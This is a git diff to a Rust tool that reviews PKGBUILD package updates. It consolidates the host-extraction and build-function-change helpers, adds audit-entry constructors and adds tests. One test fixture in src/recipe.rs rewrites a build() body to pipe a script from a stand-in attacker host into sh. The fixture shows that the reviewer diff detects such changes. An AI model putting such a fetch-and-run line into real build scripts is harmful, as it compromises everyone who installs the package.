diff options
| -rw-r--r-- | src/db/queries.rs | 32 | ||||
| -rw-r--r-- | src/lib.rs | 1 | ||||
| -rw-r--r-- | src/recipe.rs | 59 | ||||
| -rw-r--r-- | src/review/approve.rs | 54 | ||||
| -rw-r--r-- | src/review/diff.rs | 39 | ||||
| -rw-r--r-- | src/review/risk.rs | 42 | ||||
| -rw-r--r-- | src/urlutil.rs | 73 | ||||
| -rw-r--r-- | tests/approve.rs | 19 | ||||
| -rw-r--r-- | tests/production_surface.rs | 30 |
9 files changed, 251 insertions, 98 deletions
diff --git a/src/db/queries.rs b/src/db/queries.rs index 18f91cd..23b95ec 100644 --- a/src/db/queries.rs +++ b/src/db/queries.rs @@ -82,6 +82,13 @@ pub fn audit( } /// An audit row to append inside someone else's transaction. +/// +/// Build one with [`AuditEntry::human`] or [`AuditEntry::system`] rather than +/// by writing the literal: `actor_kind` is a closed set and the timestamp is +/// not the caller's to improvise (§6 m-4). Three review sites had each +/// hand-built this struct, and their `detail` shapes drifted until the log +/// could not answer, for two of the three, which candidate bytes the decision +/// was about. #[derive(Debug)] pub struct AuditEntry<'a> { pub at: &'a str, @@ -93,6 +100,31 @@ pub struct AuditEntry<'a> { pub detail: serde_json::Value, } +impl<'a> AuditEntry<'a> { + /// A decision a named human made (§11: every approval is attributable). + pub fn human( + at: &'a str, + actor: &'a str, + action: &'a str, + entity: &'a str, + entity_id: &'a str, + detail: serde_json::Value, + ) -> Self { + Self { at, actor_kind: "human", actor, action, entity, entity_id, detail } + } + + /// Something the server did by itself: a publish, a requeue, a watcher tick. + pub fn system( + at: &'a str, + action: &'a str, + entity: &'a str, + entity_id: &'a str, + detail: serde_json::Value, + ) -> Self { + Self { at, actor_kind: "system", actor: "", action, entity, entity_id, detail } + } +} + /// Append an audit row inside a caller's transaction (I10). This is the variant /// every multi-statement mutation uses: the record of a decision commits with /// the decision or not at all, so there is no window where an audit row @@ -29,6 +29,7 @@ pub mod review; #[cfg(feature = "test-support")] pub mod shims; pub mod time; +pub mod urlutil; pub mod watch; pub use error::{Error, Result}; diff --git a/src/recipe.rs b/src/recipe.rs index 6c6666c..4ba6a6f 100644 --- a/src/recipe.rs +++ b/src/recipe.rs @@ -354,6 +354,42 @@ pub fn is_diffable(path: &str) -> bool { ) } +/// The executable part of a `PKGBUILD`: everything from the first function +/// definition onward. +/// +/// The variable assignments above the functions are metadata — a new version +/// string, another dependency. The functions are code that runs on this machine +/// and, through the package, on every machine that installs it. Reviewers and +/// the risk scorer both need that line drawn in the same place, so it is drawn +/// once here (§6 m-2): two copies had drifted, and the diff panel's version +/// compared only the function *header* lines, so a rewritten `build()` body +/// with the same function names showed the reviewer nothing. +pub fn pkgbuild_bodies(text: &str) -> String { + let mut out = String::new(); + let mut inside = false; + for line in text.lines() { + let t = line.trim_start(); + if t.starts_with("build()") + || t.starts_with("package") + || t.starts_with("prepare()") + || t.starts_with("check()") + { + inside = true; + } + if inside { + out.push_str(t); + out.push('\n'); + } + } + out +} + +/// True when the diff touches a function body rather than only the assignments +/// above them. +pub fn bodies_changed(old_src: &str, new_src: &str) -> bool { + pkgbuild_bodies(old_src) != pkgbuild_bodies(new_src) +} + /// `sha256sums=('SKIP')`: the recipe declining to verify a source (§5.3). pub const SKIP: &str = "SKIP"; @@ -393,6 +429,29 @@ pub fn skip_on_non_vcs(recipe: &Recipe) -> Vec<usize> { #[cfg(test)] mod tests { + + #[test] + fn a_rewritten_body_is_a_change_even_when_the_functions_are_named() { + // The drift this pins (§6 m-2): the diff panel used to compare only the + // function *header* lines, so a `build()` whose body was rewritten to + // `curl | sh` looked unchanged to the reviewer while the risk scorer, + // with its own copy of the rule, said otherwise. + let before = "pkgver=1.0\nbuild() {\n make\n}\npackage() {\n make install\n}\n"; + let after = "pkgver=1.0\nbuild() {\n curl https://evil.invalid/x.sh | sh\n}\npackage() {\n make install\n}\n"; + assert!(bodies_changed(before, after), "a rewritten build() body must read as code changing"); + assert!(!bodies_changed(before, before)); + // Metadata above the functions is not code. + let bumped = "pkgver=2.0\nbuild() {\n make\n}\npackage() {\n make install\n}\n"; + assert!(!bodies_changed(before, bumped), "a version bump is not a code change"); + } + + #[test] + fn bodies_start_at_the_first_function_and_run_to_the_end() { + let text = "pkgver=1.0\nsource=(x)\nbuild() {\n make\n}\n"; + assert_eq!(pkgbuild_bodies(text), "build() {\nmake\n}\n", "each line is trimmed, the bodies are compared as text"); + assert_eq!(pkgbuild_bodies("pkgver=1.0\n"), ""); + } + use super::*; #[test] diff --git a/src/review/approve.rs b/src/review/approve.rs index 208e8e2..e5f446f 100644 --- a/src/review/approve.rs +++ b/src/review/approve.rs @@ -110,15 +110,14 @@ pub fn approve( candidates::resolve_in(tx, id, CandidateState::Approved, &at)?; db::audit_in( tx, - &db::AuditEntry { - at: &at, - actor_kind: "human", - actor: &actor, - action: "approve", - entity: "candidate", - entity_id: &id.to_string(), - detail: serde_json::json!({"approval": approval_id, "identity": ih, "pkgbase_id": subject.pkgbase_id}), - }, + &db::AuditEntry::human( + &at, + &actor, + "approve", + "candidate", + &id.to_string(), + serde_json::json!({"approval": approval_id, "identity": ih, "pkgbase_id": subject.pkgbase_id}), + ), )?; Ok(Ok(Approval { id: approval_id, @@ -151,15 +150,17 @@ pub fn reject(db: &Db, actor: &str, candidate_id: i64, note: &str) -> Result<()> candidates::resolve_in(tx, candidate_id, CandidateState::Rejected, &at)?; db::audit_in( tx, - &db::AuditEntry { - at: &at, - actor_kind: "human", - actor: &actor, - action: "reject", - entity: "candidate", - entity_id: &candidate_id.to_string(), - detail: serde_json::json!({"note": note}), - }, + &db::AuditEntry::human( + &at, + &actor, + "reject", + "candidate", + &candidate_id.to_string(), + // The identity hash, not only the note: "why was this rejected" + // is unanswerable if the row does not say which bytes were on + // screen (§11). + serde_json::json!({"identity": identity, "note": note}), + ), )?; Ok(()) }) @@ -276,15 +277,14 @@ pub fn withdraw(db: &Db, actor: &str, release_id: i64, reason: &str) -> Result<( db::withdraw_release_in(tx, release_id)?; db::audit_in( tx, - &db::AuditEntry { - at: &at, - actor_kind: "human", - actor: &actor, - action: "withdraw", - entity: "release", - entity_id: &release_id.to_string(), - detail: serde_json::json!({"reason": reason}), - }, + &db::AuditEntry::human( + &at, + &actor, + "withdraw", + "release", + &release_id.to_string(), + serde_json::json!({"release": release_id, "reason": reason}), + ), )?; Ok(()) }) diff --git a/src/review/diff.rs b/src/review/diff.rs index 1196406..629258c 100644 --- a/src/review/diff.rs +++ b/src/review/diff.rs @@ -89,8 +89,8 @@ fn source_delta(old: &Recipe, new: &Recipe) -> Panel { body.push_str(&format!("- {s}\n")); } } - let old_hosts = hosts(&old.source); - let new_hosts = hosts(&new.source); + let old_hosts = crate::urlutil::hosts(&old.source); + let new_hosts = crate::urlutil::hosts(&new.source); for h in new_hosts.difference(&old_hosts) { body.push_str(&format!("! new source host: {h}\n")); } @@ -190,40 +190,15 @@ fn install_delta(old: &Recipe, new: &Recipe) -> Panel { (Some(a), Some(b)) if a != b => body.push_str(&format!("! install script changed: {a} -> {b}\n")), _ => {} } - if old.pkgbuild != new.pkgbuild { - // The recipe diff shows the text; here we call out only whether the - // executable part moved, which is what actually runs. - let f = |t: &str| { - t.lines() - .filter(|l| { - let l = l.trim_start(); - l.starts_with("build()") - || l.starts_with("package") - || l.starts_with("prepare()") - || l.starts_with("check()") - }) - .collect::<Vec<_>>() - .join("\n") - }; - if f(&old.pkgbuild) != f(&new.pkgbuild) { - body.push_str("! build()/package() bodies changed — this is code that runs here and on every installer\n"); - } + if crate::recipe::bodies_changed(&old.pkgbuild, &new.pkgbuild) { + // The recipe diff shows the text; this panel calls out that the + // executable part moved, which is what actually runs — on this machine + // and on every machine that installs the result. + body.push_str("! build()/package() bodies changed — this is code that runs here and on every installer\n"); } Panel { name: "install", title: "Install-script delta", body } } -fn hosts(sources: &[String]) -> std::collections::BTreeSet<String> { - sources - .iter() - .filter_map(|s| { - let s = s.rsplit("::").next().unwrap_or(s); - let s = s.rsplit('+').next().unwrap_or(s); - let rest = s.split("://").nth(1)?; - rest.split('/').next().map(|h| h.to_string()) - }) - .collect() -} - fn version_delta(base: Option<&ReleaseRow>, c: &CandidateRow) -> Panel { let mut body = String::new(); match base { diff --git a/src/review/risk.rs b/src/review/risk.rs index 0c09841..73f9be7 100644 --- a/src/review/risk.rs +++ b/src/review/risk.rs @@ -126,8 +126,8 @@ fn compare_recipes(old: &Recipe, new: &Recipe, s: &mut SignalSet) { s.add("downgrade", level::MEDIUM); } // Sources: added/removed entries and host changes. - let old_hosts = hosts(&old.source); - let new_hosts = hosts(&new.source); + let old_hosts = crate::urlutil::hosts(&old.source); + let new_hosts = crate::urlutil::hosts(&new.source); for h in &new_hosts { if !old_hosts.contains(h) { s.add(&format!("new-source-host:{h}"), level::HIGH); @@ -164,7 +164,7 @@ fn compare_recipes(old: &Recipe, new: &Recipe, s: &mut SignalSet) { s.add("checkdepends-removed", level::MEDIUM); } // Did the executable part of the recipe change, or only metadata? - if body_changed(&old.pkgbuild, &new.pkgbuild) { + if crate::recipe::bodies_changed(&old.pkgbuild, &new.pkgbuild) { s.add("recipe-code-changed", level::HIGH); } if old.install != new.install { @@ -192,42 +192,6 @@ fn compare_digests( } } -/// True when the diff touches a `build()`/`package()`/`prepare()`/`check()` -/// body rather than only the variable assignments above them. -fn body_changed(old_src: &str, new_src: &str) -> bool { - fn bodies(text: &str) -> String { - let mut out = String::new(); - let mut inside = false; - for line in text.lines() { - let t = line.trim_start(); - if t.starts_with("build()") - || t.starts_with("package") - || t.starts_with("prepare()") - || t.starts_with("check()") - { - inside = true; - } - if inside { - out.push_str(t); - out.push('\n'); - } - } - out - } - bodies(old_src) != bodies(new_src) -} - -fn hosts(sources: &[String]) -> std::collections::BTreeSet<String> { - sources - .iter() - .filter_map(|s| { - let s = s.rsplit("::").next().unwrap_or(s); - let s = s.rsplit('+').next().unwrap_or(s); - let rest = s.split("://").nth(1)?; - rest.split('/').next().map(|h| h.to_string()) - }) - .collect() -} fn upstream_touches_build_system(cfg: &crate::config::Config, pb: &Pkgbase, from: &str, to: &str) -> bool { // Best-effort: if we have the upstream clone cached we can ask it directly. diff --git a/src/urlutil.rs b/src/urlutil.rs new file mode 100644 index 0000000..75b52b9 --- /dev/null +++ b/src/urlutil.rs @@ -0,0 +1,73 @@ +//! Source-URL questions that more than one module asks (§6 m-2). +//! +//! `review::diff` and `review::risk` each carried a verbatim copy of `hosts`, +//! which is the kind of duplication that stays harmless until one copy is fixed +//! and the other is not: the diff panel would tell a reviewer a host appeared +//! while the risk scorer stayed quiet about the same host. + +use std::collections::BTreeSet; + +/// The host of one `source=()` entry, or `None` when it names no host — a local +/// file, a relative path, or a `file://` URL. +/// +/// Handles the two prefixes a PKGBUILD puts in front of a URL: a `custom::` +/// filename prefix, and the `git+`/`svn+`/`npm+` VCS scheme prefix. +pub fn host_of(source: &str) -> Option<String> { + let s = source.rsplit("::").next().unwrap_or(source); + let s = s.rsplit('+').next().unwrap_or(s); + let rest = s.split("://").nth(1)?; + let host = rest.split('/').next()?; + // `git+ssh://git@github.com/...` names the same place as + // `https://github.com/...`; leaving the user in would make a scheme change + // look like a new source host and cry wolf at a reviewer. + let host = host.rsplit('@').next().unwrap_or(host); + (!host.is_empty()).then(|| host.to_string()) +} + +/// The distinct hosts a `source=()` array names, sorted. A host appearing here +/// that was not in the accepted release's list is a new place the build fetches +/// code from (§5.3, §6). +pub fn hosts(sources: &[String]) -> BTreeSet<String> { + sources.iter().map(|s| s.as_str()).filter_map(host_of).collect() +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn a_plain_url_is_its_host() { + assert_eq!(host_of("https://example.invalid/a.tar.gz").as_deref(), Some("example.invalid")); + } + + #[test] + fn scheme_and_filename_prefixes_are_stripped() { + assert_eq!(host_of("git+https://github.com/a/b.git").as_deref(), Some("github.com")); + assert_eq!( + host_of("myname::https://cdn.example.org/x.tar").as_deref(), + Some("cdn.example.org") + ); + assert_eq!( + host_of("myname::git+ssh://git@gitlab.example.org/a/b.git").as_deref(), + Some("gitlab.example.org"), + "the ssh user is not part of the host" + ); + } + + #[test] + fn local_files_have_no_host() { + assert_eq!(host_of("fix.patch"), None); + assert_eq!(host_of("./relative/thing.conf"), None); + } + + #[test] + fn hosts_are_deduplicated_and_sorted() { + let h = hosts(&[ + "https://b.example/x.tar".to_string(), + "https://a.example/y.tar".to_string(), + "git+https://b.example/z.git".to_string(), + "local.patch".to_string(), + ]); + assert_eq!(h.into_iter().collect::<Vec<_>>(), vec!["a.example", "b.example"]); + } +} diff --git a/tests/approve.rs b/tests/approve.rs index 1f61182..f1fc762 100644 --- a/tests/approve.rs +++ b/tests/approve.rs @@ -245,6 +245,25 @@ fn reject_requires_a_reason_and_records_it() { }) .unwrap(); assert!(note.contains("license"), "{note}"); + + // And the audit row says *which review* was rejected, not only why (§6 m-4): + // the three review actions each hand-built their own `detail`, and two of + // them recorded no identity at all. + let (actor_kind, detail): (String, String) = env + .db + .read(|c| { + Ok(c.query_row( + "SELECT actor_kind, detail_json FROM audit WHERE action='reject' AND entity_id=?1", + rusqlite::params![cid.to_string()], + |r| Ok((r.get(0)?, r.get(1)?)), + )?) + }) + .unwrap(); + assert_eq!(actor_kind, "human"); + assert!( + detail.contains(&c.identity_hash), + "the audit row does not say which review bytes were rejected: {detail}" + ); } // ------------------------------------------------------------- the CLI path -- diff --git a/tests/production_surface.rs b/tests/production_surface.rs index 26f50ea..e978a2c 100644 --- a/tests/production_surface.rs +++ b/tests/production_surface.rs @@ -159,3 +159,33 @@ fn a_default_config_has_no_hooks_attached() { let json = serde_json::to_string(&cfg).unwrap(); assert!(!json.contains("publish_fault"), "hooks leaked into the serialized config: {json}"); } + +#[test] +fn the_review_modules_do_not_keep_private_copies_of_the_rules() { + // §6 m-2: `hosts` existed twice, verbatim, and the "did the executable part + // of the recipe change" rule existed twice with *different* semantics — the + // diff panel compared function header lines, the risk scorer compared the + // bodies. One question, one answer, in the module that owns the subject. + for (file, forbidden) in [ + ("src/review/diff.rs", ["fn hosts(", "fn body_changed("]), + ("src/review/risk.rs", ["fn hosts(", "fn body_changed("]), + ] { + let src = read(file); + for f in forbidden { + assert!(!src.contains(f), "{file} still defines {f} — use recipe::bodies_changed / urlutil::hosts"); + } + } + assert!(read("src/review/diff.rs").contains("urlutil::hosts")); + assert!(read("src/review/risk.rs").contains("urlutil::hosts")); + assert!(read("src/review/diff.rs").contains("recipe::bodies_changed")); + assert!(read("src/review/risk.rs").contains("recipe::bodies_changed")); +} + +#[test] +fn audit_rows_are_built_by_the_constructors_not_by_hand() { + // §6 m-4: three review sites hand-built `AuditEntry` literals, each with its + // own `detail` shape and its own spelling of `actor_kind`. + let src = read("src/review/approve.rs"); + assert!(!src.contains("db::AuditEntry {"), "audit rows must be built by AuditEntry::human/system"); + assert_eq!(src.matches("AuditEntry::human(").count(), 3, "approve, reject and withdraw"); +} |
